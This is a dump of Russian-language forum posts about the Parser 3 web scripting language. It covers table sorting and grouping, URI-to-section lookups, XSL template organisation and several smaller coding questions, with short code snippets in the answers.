[code]$tbl[^tbl.sort{$tbl.размер*100000 + $tbl.цена}][/code]\
\
(Тут подразумевается, что для размера используются 1,2,3. Да и неразумно засорять базу данных строковыми значенями без нужды.)"
"14369","Спасибо за совет, а как можно вывести заголовки разделов, чтобы сначала шел заголовок, потом перечень товаров, затем другой заголовок и т.д. Т.е. не выводить его для каждого товара, а сделать древовидную структуру?\
"
"14370","а скорее многосвязная, делается средствами SQL в 2 этапа:\
\
1. Выборка всех уникальных групп - 1-й запрос (одна таблица), и 2-й выборка всех элементов (другая таблица)\
\
2. Крутить цикл по группам (1-я таблица), а внутри него по всем элементам (2-я таблица) и вывод делать по условию принадлежности к группе"
"14371","всё равно надо как-то отсчитывать глубину вложенности вызова, и прочее: чтобы вывести переменные в нужный момент.\
\
диагноз: если делать, так полноценный отладчик, на что сейчас у меня нет сил, однако помогу любому желающему."
"14372","Можно ли выборку всех уникальных групп Парсером из txt (таб делимитед) файла сделать?"
"14373","вариант:\
бежим и смотрим, совпадает ли группа с ранее выведенной.\
не совпадает:\
выводим заголовок группы, запоминаем её.\
\
"
"14374","и укажите версию parser, которой пользуетесь: я лечил ошибки в этой области."
"14376","чето меня глючнуло"
"14378","топик  ;-)\
фича которая там описана в текущей версии работает."
"14379","Если мне не хочится писать через cookies, то почему бы не добавить сюда собственные парсеровские сессии?"
"14380","воспользуйтесь поиском по форуму"
"14381","Нашел только плач других и ваши варианты для выхода из положения через cookies.\
А почему вы не хотите их включить в сам язык, такого я не встретил.\
\
ЗЫ: А если коокиес off тогда что делать?"
"14382","фильтровать по автору: я\
строка поиска: сесс\
вторая ссылка: аналогичный вопрос.\
\
вот на него ответ:\
http://parser.ru/forum/?id=7846"
"14383","Дело в том, что я держу список всех папок сайта в БД, для формирования двойной навигации, или как ее називает А. Лебедев... и формирования меню сайта...\
\
Т.е. я использую rewrite_rule для передачи всех запросов на одну страницу, в которой они генерируются...\
\
а checkUri проверяет на наличие запрашиваемой папки... и вызывается только один раз...\
\
Да, и еще... если использовать $request:query, то при запросе с ?form=true ничего хорошего не будет и выведется ошибка!"
"14384","я так понимаю что это будет работать только после сортировки по группе... иначе группы могут повторяться.\
А можно ли с несортированной таблицей такое провернуть?\
"
"14385","я так понял встроенной такой функции еще нет :-(\
как же быть?"
"14389","[quot]а checkUri проверяет на наличие запрашиваемой папки... и вызывается только один раз...[/quot]\
\
если вызывается один раз, то упомянутый огород можно не городить.\
этого не было сказано, а по названию метода я этого сказать не мог."
"14390","см. здесь: http://www.parser.ru/docs/lang/?table2hash.htm"
"14391","тогда если групп больше чем 2, они начнут повторяться.\
как этого избежать?"
"14392","ПАФ же объяснил http://parser.ru/forum/?id=14373"
"14393","нужно сгруппировать по resort, а потом сортировать по днб недели\
[code]\
resort	week_day	day_no	airport	flight	_no\
\
Шарм Эль Шейх	Вт.	2	Домодедово	ИЛ-86	KJC 2211/12\
Шарм Эль Шейх	Чт.	4	Домодедово	ТУ-154	KJC 2211/12\
Шарм Эль Шейх	Сб.	6	Домодедово	ИЛ-86	KJC 2211/12\
Шарм Эль Шейх	Вс.	7	Домодедово	ТУ-154	KJC 2211/12\
Шарм Эль Шейх	Сб.	6	Домодедово	ИЛ-86	S7 1831/32\
Шарм Эль Шейх	Вт.	2	Домодедово	ИЛ-86	S7 1831/32\
Хургада	Вт.	2	Домодедово	ИЛ-86	Р7 9659/ 9660\
Хургада	Сб.	6	Домодедово	ИЛ-86	Р7 9659/ 9660\
Хургада	Вт.	2	Домодедово		S7 1851/52\
Хургада	Сб.	6	Домодедово		S7 1853/54\
Хургада	Сб.	6	Шереметьево		DN 9821/22\
Хургада	Сб.	6	Домодедово		S7 1859/60\
Хургада	Вс.	7	Домодедово		S7 1851/52\
Шарм Эль Шейх	Вт.	2	Домодедово		S7 1831/32\
Шарм Эль Шейх	Сб.	6	Домодедово		S7 1833/34\
Шарм Эль Шейх	Вс.	7	Домодедово		S7 1831/32\
[/code]\
"
"14394","нужно что ли еще табличку создавать и туда значения групп запоминать? но как их (эти значения) на уникальность проверить-то?"
"14395","т.е. нужно вывести resort как заголовок, а под ним все строчки относящиеся к этому резорту"
"14396","каюсь, был неправ, но сортирвка таблиц в парсере же есть :)\
[code]\
$group[$table.resort]\
<h1>$group</h1>\
^table.menu{\
	^if($table.resort ne \"$group\"){\
		<h1>$group</h1>\
	}\
	$table.week_day ...\
	$group[$table.resort]\
}\
[/code]"
"14397","вы задачу свою так поставили, что кажется что или ваш файл уже отсортирован, или сортировка представляется логичной.\
\
если вас не устраивает [i]порядок[/i] сортировки, так и скажите, подумаем вместе, как его можно задать."
"14398","[code]\
$distinct[^table.hash[resort][$.distinct(1)]]\
$tab_keys[^distinct._keys[]]\
^tab_keys.sort{$tab_keys.key}\
^table.sort($table.day_no)\
^tab_keys.menu{\
	<h1>$tab_keys.key</h1>\
	^table.menu{\
		^if($tab_keys.key eq $table.resort){\
			$table.week_day ...\
		}\
	}\
\
}\
[/code]\
не проверял, скорее всего работать не будет (как обычно...)\
8-]\
"
"14399","уж если идти таким путем, то делать несколько ^таблица.select(...) внутри foreach и внутренний цикл делать по небольшой, только что отселекченой таблице.\
\
однако повторю: я считаю этот вариант плохим, тот, что предложил [url=\"/forum/?id=14396\"]egr[/url] лучше.\
\
ввиду того, что я так полностью и не понял условие задачи предложить ничего пока не могу.\
\
что не понял? сколько раз должен встречаться \"Шарм Эль Шейх\"?\
если учесть, что разговор шел о distinct, то подразумеваю, что один раз. однако глядя на приведенные данные думаю, что что-то тут не так (тогда как?). однако если все-таки так, то достаточно перед кодом egr-а выполнить: ^таблица.sort{$таблица.resort $таблица.day_no}\
\
т.е. сортируем по строке, которую составляем из двух полей таблицы (число преобразуется к строке, но т.к. числовое представление дня недели одноциферное, мы на это забиваем). затем делаем ОДИН раз menu, и в случае, если resort текущей записи не совпадает с предварительно запомненым resort предыдущей - то выводим этот resort в виде заголовка."
"14401","[quote]\
А как связаны $env:REQUEST_URI и $request:query ?\
[/quote]\
\
Просто мне надо, чтобы проверилось наличие папки!\
$request:query выдаст /press/news/?year=2001, естественно папки по заданному пути нет... и пользователю выдается 404\
\
поэтому, если использовать $request:query надо делать разбиение строки...\
\
Правильно говорю?\
\
Всмысле, какой огород имелся в виду?"
"14402","PAF сразу сказал что не стОит городить двойных циклов...\
\
Насколько я понял задачу, ^таблица.sort{$таблица.resort $таблица.day_no} это именно то, чего не хватало.\
\
Пользуясь случаем, хотел бы предложить как-то отразить такой способ сортировки в примерах к документации по ^table.sort, ибо определение [i]\"произвольная функция, по текущему значению которой принимается решение о положении строки в отсортированной таблице\"[/i] к сожалению не всем доступно для понимания.\
"
"14403","[quote]\
А как связаны $env:REQUEST_URI и $request:query ?\
[/quote]\
\
Просто мне надо, чтобы проверилось наличие папки!\
$request:query выдаст /press/news/?year=2001, естественно папки по заданному пути нет... и пользователю выдается 404, поэтому, я считаю, если использовать $request:query, то надо делать разбиение строки, т.е. lsplit...\
Правильно говорю?\
\
[quote]\
если вызывается один раз, то упомянутый огород можно не городить.\
[/quote]\
\
Всмысле, какой огород имелся в виду?"
"14404","[code]\
^men.sort{$men.name}\
[/code]\
ваши варианты?"
"14405","Ты в своем сообщении (hint: свои сообщения можно иногда перечитывать) ты написал: ${env:REQUEST_URI}\
\
Я сказал, что использовать $env не стОит, когда можно использовать $request, в данном случае вместо ${env:REQUEST_URI} я предложил таки использовать $request:uri, что по моему достаточно логично.\
\
Ты в ответе пишешь, что \
[quot]если использовать $request:query то при запросе с ?form=true ничего хорошего не будет и выведется ошибка![/quot]\
\
Ну а собственно что еще ты ожидаешь? $request:query != $request:uri"
"14406","по, собственно, описанию функции сортировки у меня вариантов нет, это задача достаточно сложная, и вам в любом случае виднее...\
\
Моё предложение - доработать пример:\
Допустим Мишутке 9 лет, Алексу - 5 а Серёже 3.\
сортируем их по строке имени, по числу прожитых лет, а потом по всему вместе: \
[code]^men.sort{$men.name $men.age}[/code]\
всё это с надлежащими пояснениями...\
глупый конечно пример, без одинаковых имён не иллюстративен и работать не будет...\
\
но в том смысле что нужен пример этой самой \"произвольной функции\", ибо не все догоняют насколько это круто..."
"14407","всё же если использовать $request:uri, то ?.... там тоже будет, а такой папки нет и 404 пользователю грозит :(, а так бы я с радостью :)\
\
или оптимальнее и лучше сделать lsplit на request:uri?"
"14408","...которые не колятся, что-же за задачи они решают. опять приходится угадывать (пора уже наверное в фокусники идти)...\
\
лично я делаю так:\
когда рерайчу любой урл, по которому пришел пользователь, то пишу примерно следующее: \
RewriteCond [тут условия по которым я отсекаю...]\
RewriteRule (.*)  /_doc.html?request=$1 [L,QSA]\
\
в результате в $form:request у меня урл, по которому пришел пользователь, и так-же доступны любые параметры, пришедшие get-ом или post-ом (в $form:xxxx)\
\
до сих пор я не придумал, почему подобный вариант плох, и для чего нужно играться с uri и query в разных их проявлениях.\
\
P.S. а под \"огородом\" я имел ввиду конструкцию с хешом для быстрых лукапов. если вызывается один раз - то и locate пойдет."
"14409","я например сначала пытаюсь \"понять\" что именно пытаются сделать, а не читать код.\
\
для меня подобный пример бесполезен, т.к. я не пойму что пытаются сделать.\
\
хотя возможно кому-то он может быть полезен..."
"14410","может быть у кого нибудь наидётся вдохновение написать иллюстративный пример для документации, демонстрирующий всю мощь и силу \"произвольной функции\" сортировки, использующейся в table.sort?\
\
Что-нибудь эдакое - навороченое, но достаточно простое для понимания. Уверен, потомки вам этого незабудут...  ;-)"
"14411","Я читаю форум по адресу www.parser.ru/forum, а когда мне приодит оповещение, то оно содержит ссылку на parser.ru/forum баз www, что приходиться менять, чтобы видеть какие треды я уже прочел...\
\
Было бы неплохо добавить настройку этой шняги иль еще что..."
"14412","Я для себя эту проблему так решил..."
"14413","прочитав в документации описание функции сортировки, я просто не понял как она должна выглядеть. Я не программист, частенько чёнить недопонимаю, в таких случаях пробую понять это \"на примере\". Но в данном случае, заглянув в примеры всё равно ничего не понял, ибо вместо \"произвольной функции\" в примере используется типичное \"имя столбца\". Так как до P3 я работал с P2, где, как известно, ^sort[столбец_сортировки;параметры_сортировки] я наивно предположил что и здесь реализовано что-то подобное. Поэтому, увидев здесь примеры применения \"более сложных\" произвольных функций был приятно удивлён, и тут же предложил доработать в этом плане документацию.\
\
Хотя на последнем и не настаиваю, возможно здесь вся проблема у меня между стулом и экраном монитора...  ;)"
"14414","Если залить на сервер файл болше 200кб и затем сразу же попытаться его открыть, то страница либо не откроется, либо откроется но недогруженной (причем так, что на экран выйдет часть недогруженного тега)\
\
Пример.\
^if(def $form:table){^form:table.save[text;/shop/files/${form:hlog}.txt]}	\
^if(-f \"/shop/files/${form:hlog}.txt\"){$tab[^table::load[nameless;/shop/files/${form:hlog}.txt]]}\
\
Если же сначала выполнить первую строку, а затем на др. странице вторую, то все будет ок.\
"
"14415","Нахожу только аналогичные жалобы, и уверения что в head все в ажуре. Но head у меня тоже не собирается. Скачал 6 релиз -- не собирается, жалуется что макросы AC_LIBTOOL_SETUP и AC_EPI не определены. :(\
Можно для таких особо тупых, вроде меня, хотя бы рассказать, что надо поправить в 7 релизе для нормальной собираемости?"
"14416","...у меня возникла та же проблема, причем:\
\
1) файлы заполнены мусором (огромными массивами одинаковых символов) и кусками моего кода;\
\
2) их уже штук 50;\
\
3) Один из них занял 86 мегабайт и заполнил всю мою дисковую квоту на сервере...\
\
Юзается Парсер 3.0007 sp1 для RedHat Linux.\
\
Что посоветуете предпринять?\
\
Заранее спасибо."
"14417","Имеется таблица вида:\
[code]\
num	text\
[/code]\
Необходимо вставить строчку после определённого номера num. Номер строки, после которой нужно вставить строчку, передаётся через форму. Я написал нижеследующий код, однако он не очень корректно работает.\
[code]\
$tabl[^table::load[tabl.dat]]\
$temp(1)\
$tabl_new[^table::create{num	text}]\
^tabl.menu{\
	^if($table.num ne $form:num){\
		^tabl_new.append{$temp	$messages.text}\
	}{\
		^tabl_new.append{$temp	$form:text}\
	}\
	^temp.inc[]\
}\
^tabl_new.save[tabl.dat]\
[/code]"
"14418","вот сижу и как-то ломает меня делать для каждого раздела свою папку с файлами(для показа всей инфы в разделе+для редактирования+удаления).\
\
а вот передавать номер раздела, номер материала и действие(for example): [code]/admin/?section=31&id=21&action=edit[/code]\
в URL как-то ломает, хотя это проще.\
\
может кто посоветует как обойти?"
"14419","и один глюк я уже знаю и уже починил в CVS, уже писал."
"14420","я отказываюсь отвечать в n-ный раз."
"14421","пока своими глазами не увижу, не поверю. url=?\
"
"14422","все в работает, только чуть подправил:\
[code]\
$group[$table.resort]\
<h1>$group</h1>\
^table.menu{\
	^if($table.resort ne \"$group\"){\
	$group[$table.resort]\
        <h1>$group</h1>\
	}\
	$table.week_day ...\
}\
[/code]\
\
еще раз спасибо\
 "
"14423","уже не первый раз плохо объясняю свою задачу. разобрались совершенно правильно. спасибо, выручаете уже в третий раз.\
спасибо за подсказку с двойной сортировкой. по правде сказать и я из доки это не понял.\
"
"14424","спасибо за помощь. правда воспользовался алгоритмом, который предложил egr, поскольку так и не нашел описания на функцию distinct.\
Не могли бы Вы пояснить, вот эти строчки:\
[code]\
$distinct[^table.hash[resort][$.distinct(1)]]\
$tab_keys[^distinct._keys[]]\
[/code]\
а именнно, каково назначение .distinct(1) и .keys[]\
\
Еще раз спасибо за поддержку."
"14425","[code]$distinct[^table.hash[resort][$.distinct(1)]][/code]\
тут мы создаём хэш из исходной таблицы, используя в качестве ключа поле resort, опция $.distinct(1) обеспечивает уникальность ключей, подробнее смотрите в [url=\"http://www.parser.ru/docs/lang/?table2hash.htm\"]документации по ^table.hash[/url]...\
[code]$tab_keys[^distinct._keys[]][/code]\
тут мы перегружаем ключи получившегося хеша в отдельную таблицу (подробнее см. в [url=\"http://www.parser.ru/docs/lang/?hash_keys.htm\"]доке по ^hash._keys[/url]). Зачем? Хэш в силу своей специфики не имеет опций сортировки, а мне показалось что поле должно быть не только уникальным, но еще и отсортированным в алфавитном порядке. Если сортировка по алфавиту не обязательна, цикл можно было сделать с помощью нескольких ^таблица.select(...) внутри ^хеш.foreach, как советовал Миша...\
\
В любом случае очевидно, что приведенный пример далеко не оптимален, и взяв за основу т.н. \"двойную сортировку\" и алгоритм предложенный egr вы сделали правильный выбор. "
"14426","Как узнать номер недели в месяце? в Году?"
"14427","Вчера обсуждали эту тему, вот мой пример...\
\
Прога Rasman ведёт у меня статистику диал-ап коннектов. Строка выглядит так:\
UkrNet	24-02-2003	21:21:15	00:00:07	24-02-2003	21:21:22	00:54:53	24-02-2003	22:16:15	19200	354371	2649882		Rockwell 56000 External Modem PnP\
\
Написал скрипт, который считает время коннекта через каждое соединение и вцелом за каждый день.\
\
[code]\
$t[^table::load[nameless;rasman.txt]]\
^t.sort{$m[^t.1.match[(\\d\\d)-(\\d\\d)-(\\d\\d\\d\\d)]]${m.3}${m.2}${m.1}$t.0}[desc]\
\
^t.menu{\
	$mat[^t.6.match[(\\d\\d):(\\d\\d):(\\d\\d)]]\
	$sec($mat.3+$mat.2*60+$mat.1*3660)\
	\
	^if($t.0 ne $prov || $t.1 ne $date){\
		^if(def $prov){$prov $date ^eval($s/3600)<br/> ^if($t.1 ne $date){<b>$date ^eval(($s2+$s)/3600)</b><br />$s2(0)}{$s2($s2+$s)}}\
		$prov[$t.0]\
		$date[$t.1]\
		$s($sec)\
	}{\
		$s($s+$sec)\
	}\
}\
[/code]"
"14431","Ох чувствую пошлют... \
\
Запрашивается страница.\
\
Запрос rewrite'ом передается в \"центр управления полетом\" - единый парсерный скрипт, который:\
\
Генерит XML, описывающий страницу и полученный из разных мест и способов: менюшки, цепочки, текст и т. д.\
\
Выбирает и натягивает на XML-результат XSLT.\
\
--- %< ---\
\
И вот тут в голове начинается каша. Попробую разобраться:\
\
1. Когда страницы явно разделяются на типы (статья; печатоверсия; для пилотов; для пауков ...) выбирается отдельный стиль (default.xsl; pdf.xsl; ...), в котором оформляются основные блоки, присутствующие на любой странице данного типа.\
\
2. Когда встречается некий \"подтип\" (например, каталог продукции) или XML-элемент, который нужен только на одной странице (графичек, требующий оригинальной верстки; или таблица)... затык... \
\
Ясно, что все равно шаблон для оформления некоего уникального xml-элемента страницы должен оказаться в xsl-файле, которым делается ^.transform, но как?\
\
- Описывать вообще все в одном default.xsl ведь точно неправильно?\
\
- Делать ^xxx.transform[unique.xsl] в котором есть <xsl:include href=\"default.xsl\"/> ? Понадобится задавать имя xsl шаблона для группы или отдельной страницы, чтобы оно попадало в transform[]. Так правильно?\
\
- Может динамически ^xdoc::create'ить шаблоны в которых только и есть, что <xsl:import href=\"default.xsl\"/>, <xsl:import href=\"unique1.xsl\"/> ... и все? Снова понадобится задавать набор шаблонов для отдельной или группы страниц.\
\
--- %< ---\
\
Не знаю... Просто работаю один, но хочется познать процедуру разделения труда, нет опыта в таком построении сайта, xsl знаю маловато. Все, что мне нужно - чтоб ткнули носом, в технологию как это обычно делается. До остального сам дойду. "
"14432","вот уж действительно \"вся мощь и сила произвольной функции сортировки\"... :)\
жаль в доку не подходит - уж больно круто для начинающих, да и задачу решает немного \"нестандартную\"...\
\
вот тут покопался в старых версиях документации, и обнаружил ранее существовавший, совсем приемлемый вариант:\
[code]^men.sort(^men.name.length[])[desc][/code]\
который впоследствии почему-то был изменен на более простой:\
[code]^men.sort($men.age)[desc][/code]"
"14433","Скажите пожалуйста (а лучше киньте ссылку)\
Где начало этого форума (парсер 3)\
Интересно почитать, что там было, а докрутить скроллер никак не могу -- терпения не хватает"
"14434","http://www.parser.ru/forum/?page=1"
"14435","1. теперь при заходе на http://parser.ru/ вас преребросят на http://www.parser.ru/ (эх, блин... целых 4 символа лишних придется набирать)\
\
2. форум. теперь как \"новые\" помечаются сообщения не \"за сегодня\" а \"за последние 24 часа\"\
\
3. форум|настройки. появилась настройка, позволяющая залогиненым пользователям показывать как \"новые\" сообщения, появившиеся с момента их последнего logout-а.\
\
4. форум. при отправке всех сообщений форума на email теперь высылаются и сообщения, если их отредактировали (раньше они не высылались). напомню, что если вы выберете эту опцию, и настроите ваш outlook или thebat [другие не почтовики мы проверяли] показывать сообщения \"по цепочкам\", то будете видеть в почтовике сообщения в виде древовидной структуры.\
\
5. [url=\"/download/win32/\"]скачать[/url]. появилась ссылка на Денвер."
"14436","В базе, ко всему прочему, лежит некоторый признак, согласно которому используется тот или иной метод для отображения информации. Методы большие и со временем обещают разрастись и увеличится количество методов. Причем используется только один метод для отображения в “единицу времени” .\
Хотелось бы  некоторые методы оформить в виде отдельных «под»классов или вызывать ^process[]  Так вот вопрос: что лучше делать класс или вызывать процесс[] . \
"
"14437","1. у тебя 1 xsl. в нем инклюдится пачка xsl-ек, структурированых по функциональности. достоинство: простота. недостаток: итоговый xsl получается большой, а его надо компайлить, что получается достаточно долго. однако, если парсер будет работать как модуль апач - то будет происходить кеширование скомпайленого шаблона, что очень хорошо скажется на производительности.\
\
2. у тебя кучка маленьких xsl-киптичиков. и в довесок к ним у тебя кучка xsl-ек для определенных разделов. в эти вторые xsl-ки ты инклудишь первые (причем именно те, что тебе тут нужны). к разделу привязываешь вторые, в которых инклуды. недостатки: требуется изначельно хорошо все структурировать, иначе никакой выгоды не будет. достоинство: результирующий xsl для страничци получается значительно меньше чем в пункте 1. кешированиие скомпиляченых шаблонов тоже естественно помогает.\
"
"14438","есть два каталога для XSL:\
core и public\
в core - то, что касается только модулей\
main.xsl\
forum.xsl\
user.xsl\
news.xsl\
и т.д.\
в них описывается обработка шаблонов для конкретных модулей.\
в public\
тоже \
news.xsl\
forum.xsl\
article.xsl и т.д.\
\
обычно из 2-3х строк,\
указываются, какие xsl брать из core:\
[code]\
<?xml version=\"1.0\"?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
	<xsl:import href=\"../core/main.xsl\"/>\
	<xsl:import href=\"../core/forum.xsl\"/>\
</xsl:stylesheet>\
[/code]\
\
где main.xsl - сетка оформления,\
а forum.xsl - оформление для модуля форума.\
\
Если надо комбинировать, то нет проблем\
делаем просто нужный импорт:\
\
<xsl:import href=\"../core/main.xsl\"/>\
<xsl:import href=\"../core/article.xsl\"/>\
<xsl:import href=\"../core/comments.xsl\"/>"
"14439","т.е. как настроить outlook или bat, чтобы маилы цепочкой строились. Помнится, где-то видел, а как сделать - не знаю. Вроде всю прогу перерыл - ничего похожего не нашел.\
\
Ни кто, не подскажет?"
"14440","[code]$timetable[^table::create{weekday	class	name\
1	1	Литература\
2	2	Русский язык\
3	3	Физика\
1	2	География\
2	3	Геометрия\
3	1	Алгебра\
1	3	Биология\
2	1	Иностранный язык\
3	2	Физ. культура\
}]\
^timetable.sort($timetable.weekday*10 + $timetable.class)\
^timetable.menu{\
    $timetable.weekday, $timetable.class: $timetable.name\
}[<br>][/code]\
\
В результате записи таблицы $timetable будут отсортированы сначала по столбцу weekday (день недели), затем по столбцу class (номер урока):\
\
1, 1: Литература\
1, 2: География\
1, 3: Биология\
2, 1: Иностранный язык\
2, 2: Русский язык\
2, 3: Геометрия\
3, 1: Алгебра\
3, 2: Физ. культура\
3, 3: Физика"
"14441","... на самом деле их 2, конца-то, \
елки палки, первый был /forum/?id=1"
"14442","А вот \"нормальные\" клиенты типа Мозиллы делают треды автоматически ... :)"
"14443","> теперь при заходе на http://parser.ru/ вас преребросят на http://www.parser.ru/ (эх, блин... целых 4 символа лишних придется набирать)[/quot]\
\
По-моему, лучше [url=http://webword.com/moving/wwwremoval.html]наоборот[/url]"
"14444","есть таблица в БД такого вида\
id   pr1   pr2 \
1    35    что-то\
2    35    что-то\
3    40    что-то\
4    41    что-то\
5    40    что-то\
\
Как получить только уникальные значения pr1\
то-есть надо получить 35, 40, 41\
\
\
"
"14445","если для TheBat, то \"View | View thread by | References\" (Alt-1)\
\
P.S. нормальные клиенты позволяют настраивать себя. как настрою папку - так сообщения в ней у меня и показываются."
"14447","и у тебя в этом хеше уникальные значения... делай по ним foreach или перегоняй обратно в table ($tbl[^hash._keys[]]) и сортируй как тебе больше нравится."
"14449","При размещении в поле <textarea> текста для редактирования, происходят странные трансформации, убираются все двойные переводы каретки. Почему?\
Пробовал match-ем менять \\n на ^#0A, то же самое."
"14451","\
  ^use[/classes/class_${temp.0}.p] \
  $temp_[^class_${temp.0}::create[]] #заламывается тут\
  ^temp_.show[$last_menu_item.kind_nmbr;$last_menu_item.align] \
\
пытаюсь создать объект класса ^class_${temp.0}, где $temp.0 - некая строка.\
"
"14452","[code]\
^use[/classes/class_${temp.0}.p] \
$temp_[^process{^^class_${temp.0}::create[]}] #заламывается тут\
^temp_.show[$last_menu_item.kind_nmbr;$last_menu_item.align]\
[/code]"
"14453","[code]<textarea>^untaint[html]{...}</textarea>[/code]"
"14454","А то меня как-то напугали использовать process %\\"
"14455","а чего пугаться то? чай не дети уже :) Надо всё принимать не как аксиому, а как информацию к размышлению"
"14456","Надо в парсере нарисовать графики и диаграммы. Данные будут из запроса.\
Есть ли у кого пример, как можно это сделать"
"14458","у меня Outlook Express. По совету Sumo, через View->Current View->By Conversation Topic попробовал, но это, кажется, не то, т.к. все сообщения строятся не цепочкой, а каждое как отдельный тред.\
\
В хелпе тоже конкретно ничего не сказано. Ткните, пожалуйста, носом, что, где и как мне отметить/включить/настроить, чтобы сообшения все таки \"цеплялись\"."
"14459","..раздел \"Методы рисования\" - там есть практически все, чтобы вывести любой график."
"14461","читал и читаю... просто хочу посмотреть пример реализации..."
"14462","Уважаемый PAF вы не хотели бы сделать более гибкими таблицы?\
\
т.е.\
Чтобы при сохранении таблицы в файл, менялись символы табуляции и перевода каретки на xHEX значения а x на xHEX. А при загрузки таблицы из файла наоборот.\
"
"14463","а по указаной ссылке есть фан...\
http://webword.com/moving/wwwremoval.html\
\
читаем:\
[quot]\
I group web sites into three categories with respect to the Ws:\
...\
Best: The site works with or without the Ws, but automatically removes the Ws if they are in the URL.\
...\
[/quot]\
\
а потом набираем:\
http://www.webword.com/moving/wwwremoval.html\
\
:)"
"14464","мне например в текстовых файлах, сохраняемых из таблиц, совсем не в кайф лицезреть гексы.\
\
Это называется не улучшением, а узкой точкой зрения на вещи."
"14465","Специализированный шаблон должен подключать универсальный, но не наоборот. Это очень важно!"
"14466","сделать save/load похожими с похожими на mysql опциями, команда: load from infile.\
\
http://www.mysql.com/doc/ru/LOAD_DATA.html"
"14468","Имеется таблица вида:\
[code]\
num	text\
[/code]\
Необходимо вставить строчку после определённого номера num. Номер строки, после которой нужно вставить строчку, передаётся через форму. Я написал нижеследующий код, однако он не очень корректно работает.\
[code]\
$tabl[^table::load[tabl.dat]]\
$temp(1)\
$tabl_new[^table::create{num	text}]\
^tabl.menu{\
	^if($table.num ne $form:num){\
		^tabl_new.append{$temp	$messages.text}\
	}{\
		^tabl_new.append{$temp	$form:text}\
	}\
	^temp.inc[]\
}\
^tabl_new.save[tabl.dat]\
[/code]"
"14471","[code]\
$tabl[^table::load[tabl.dat]]\
$temp(1)\
$tabl_new[^table::create{num	text\
^tabl.menu{\
	^if($table.num ne $form:num){\
		^tabl_new.append{$temp	$messages.text}\
	}{\
		^tabl_new.append{$temp	$form:text}\
	}\
	^temp.inc[]\
}\
}]\
\
^tabl_new.save[tabl.dat]\
[/code]"
"14473","...может, так попробуете :\
[code]\
$tabl[^table::load[tabl.dat]]\
$tabl_new[^table::create{num	text}]\
^tabl.menu{\
	^tabl_new.append{^tabl.line[]	$message.text}\
	^if($table.num eq $form:num){\
		^tabl_new.append{^tabl.line[]	$form:text}\
	}\
}\
^tabl_new.save[tabl.dat]\
[/code]"
"14474","Всем спасибо за ответы: как надо - усек!\
\
Ах да, все-таки вопрос: много <xsl:include / import - когда кончается хорошо и начинается чересчур? Просто Миша сказал про \"пачку кирпичиков\"..."
"14475","1. ты пишешь, что \"...Методы большие и со временем обещают разрастись...\", т.е. подключать их все разом не очень хорошо (хотя у каждого свое понятие \"разрастись\", если это в сумме 100 КБ кода, то не заморачивайся и подключай все сразу)\
\
2. использование ^use[] в тот момент, когда ты понял, что за класс/метод тебе нужен, почти равносильно ^process{} т.к. парсер остановит выполнение кода, считывает данные, проверяет синтаксис, компайлит заюзаное или отпроцессенное и только после этого продолжает выполнение. как видим, беда process заключается в том, что если использовать его в циклах, то будет много задержек связаных с проверкой/компиляцией кода (^use[] в цикле отработает только один раз)\
\
3. если у тебя кода много, но он фактически выполняется один раз, то пофигу что использовать: ^use[] или ^process{}, однако я предпочел-бы ^use[]\
\
4. вспомни про ^cache[] это поможет не так сильно напрягаться из-за вопроса производительности (по крайней мере в первое время)\
\
5. возьми ^rusage[] и потестируй\
\
6. вынеси механизм выполнения кода (когда ты понял что тебе нужно выполнять) в отдельный метод. тогда при изменении (если оно понадобится) будешь править только этот метод."
"14477","имеем таблицу разделов сайта $items со многим уже знакомой структурой:\
[code]id	parent_id	dir	title[/code]\
и переменную $uri с request:uri приведенной к виду:\
[code]раздел/подраздел_1/.../подраздел_N[/code]\
теперь нужно проверить uri на соответствие какому либо разделу сайта.\
На ум приходит такое решение:\
[code]\
$parts[^uri.split[/]]\
$current_id[0]\
^parts.menu{\
	^if(^items.locate($items.uri eq $parts.piece && $items.parent_id eq $current_id)){ \
		$current_id[$items.id] \
	}{ \
		$not_found[1] \
	} \
}\
[/code]\
хотелось бы услышать ваше мнение по следующим вопросам:\
\
будет ли приведённый код _корректно_ работать?\
если нет - где тут ошибки? \
если всё это - одна большая ошибка, может есть какой либо другой способ решения проблемы?\
\
Спасибо."
"14478","сделай из списка URI хэш и делай к нему запросы, если чего нить возвращается гут, если нет ещё лучше :)"
"14479","Ложная тревога. Проблема была не в том, как записывается таблица, а в том как она выводится :)\
Но всё равно спасибо за помощь :)"
"14480","дело в том что в идеале мне хотелось бы при построении XML-дерева структуры сайта вообще отказаться от формирования таблицы всех URI, и сделать всё только средствами исходной таблицы.\
Как вы считаете, возможно ли такое в принципе?"
"14481","...пишутся данные в БД? Т.е., при записи в БД(MySQL), данные пишутся в какой либо особой кодировке, или в той, что $response:charset ?\
\
Я почему спрашиваю - пришлось тут организовать доступ к parser-used БД посредством PHP-скрипта, так он мне такие каракули вынул!\
\
Короче, все национальные символы похерены. Через Парсер - все путем, а через PHP - похерено. Почему?\
\
P.S. Кодировки и на Парсере, и на PHP одинаковы - windows-1254."
"14482","я так и делаю, а список URI нужен совсем для других целей - опеределения к какому разделу принадлежит тот или иной $request:uri"
"14483","я имею ввиду - какой программой. Я скачал HTML Help Workshop, но она древняя (1999), и там нет многих фич. Какой прогой компилирован .chm файл документации Парсера? Ни кто, не знает?"
"14484","А можно ли удалять строки из файла, как в БД???"
"14485","есть одна маленькая бесплатная програмулина -  [url=\"http://yarix.by.ru/\"]htm2chm 2.2[/url]"
"14486","Обновили встроенный Флэш плеер до 6.0r79,\
Сделали какой-то stability fix for ad banner, ну да я надеюсь, что никто из здесь присутствующих этого баннера уже не видит.\
И еще Fix for checking long file names before download - я пока не понял о чем речь.\
\
Вот, собственно и все изменения.\
Лучшеб сделали чтобы всота таблицы в 100% понималась. А то просто ужас какой-то!"
"14487","алгоритм простой...\
читаешь содержимое файла, записываешь только, то что тебе нужно, пропуская то что хочешь удалить...\
классика :-)"
"14489","если в качестве uri нам передадут такое чудо:\
[code]вот/те/бе/на/за/кус/ку/то/ка/же/вать/не/за/му/чай/ся[/code]\
скрипт будет менюшить всё это дело до посинения, а было бы неплохо при первом же несовпадении выпрыгнуть из цикла.\
\
Пока решил(?) проблему так:\
[code]\
$parts[^uri.split[/]]\
$current_id[0]\
^parts.menu{\
	^if(^items.locate($items.uri eq $parts.piece && $items.parent_id eq $current_id)){ \
		$current_id[$items.id] \
	}{ \
		^if(!def $not_found){^parts.offset[set](-1)}\
		$not_found[1] \
	} \
}[/code]\
